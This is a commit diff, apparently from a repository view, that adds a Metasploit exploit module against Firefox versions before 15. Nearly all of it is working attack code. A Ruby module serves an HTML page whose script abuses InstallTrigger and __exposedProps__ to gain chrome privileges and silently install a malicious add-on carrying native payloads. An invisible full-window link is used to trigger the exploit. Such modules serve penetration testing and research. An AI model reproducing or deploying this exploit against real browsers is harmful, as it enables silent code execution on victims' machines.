It helps to actually commit the exploit.
parent
1235615f5f
commit
ca2de73879
|
@ -0,0 +1,127 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::Remote::FirefoxAddonGenerator
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Firefox < 15 exposedProps XCS Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
On versions of Firefox before 15.0, the InstallTrigger object, when given
|
||||||
|
invalid input, would throw an exception that did not have an __exposedProps__
|
||||||
|
property set. By re-setting the property on the exception's prototype,
|
||||||
|
the chrome-based defineProperty method is made available.
|
||||||
|
|
||||||
|
With the defineProperty method, an overriden callback can be defined
|
||||||
|
that gets called from chrome-privileged context. From here, another
|
||||||
|
vulnerability is used to "peek" into the context's private scope. Unfortunately
|
||||||
|
the "good" parts of Components.classes are not available (we don't have a
|
||||||
|
chrome:// URL), so instead the AddonManager API is invoked to silently install
|
||||||
|
a malicious plugin.
|
||||||
|
|
||||||
|
Note: this exploit requires the user move their mouse at least 1px inside of
|
||||||
|
the browser window.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'joev' ],
|
||||||
|
'Platform' => %w{ java linux osx solaris win },
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Generic (Java Payload)',
|
||||||
|
{
|
||||||
|
'Platform' => ['java'],
|
||||||
|
'Arch' => ARCH_JAVA
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Windows x86 (Native Payload)',
|
||||||
|
{
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Linux x86 (Native Payload)',
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Mac OS X PPC (Native Payload)',
|
||||||
|
{
|
||||||
|
'Platform' => 'osx',
|
||||||
|
'Arch' => ARCH_PPC,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Mac OS X x86 (Native Payload)',
|
||||||
|
{
|
||||||
|
'Platform' => 'osx',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 1
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
|
||||||
|
], Auxiliary::Timed)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
if request.uri.match(/\.xpi$/i)
|
||||||
|
send_response( cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' } )
|
||||||
|
else
|
||||||
|
send_response_html(cli, generate_html)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_html
|
||||||
|
%Q|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
#{datastore['CONTENT']}
|
||||||
|
<div id='payload' style='display:none'>
|
||||||
|
if (!window.AddonManager.found) {
|
||||||
|
window.AddonManager.getInstallForURL(
|
||||||
|
'#{get_uri}/addon.xpi',
|
||||||
|
function(install) { install.install() },
|
||||||
|
'application/x-xpinstall'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
<script>
|
||||||
|
var s = document.querySelector('#payload').innerHTML;
|
||||||
|
try{InstallTrigger.install(0)}catch(e){p=Object.getPrototypeOf(Object.getPrototypeOf(e));};
|
||||||
|
p.__exposedProps__={
|
||||||
|
constructor:'rw',
|
||||||
|
prototype:'rw',
|
||||||
|
defineProperty:'rw',
|
||||||
|
__exposedProps__:'rw'
|
||||||
|
};
|
||||||
|
var register = function(obj,key) {
|
||||||
|
p.constructor.defineProperty(obj,key,{value:function(){
|
||||||
|
window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 1024, null, "rsa-ex");
|
||||||
|
}});
|
||||||
|
};
|
||||||
|
register(document, 'compareDocumentPosition');
|
||||||
|
</script>
|
||||||
|
<a href='#' title='heh' style='position:absolute;display:block;top:0;left:0;right:0;bottom:0;'> </a>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue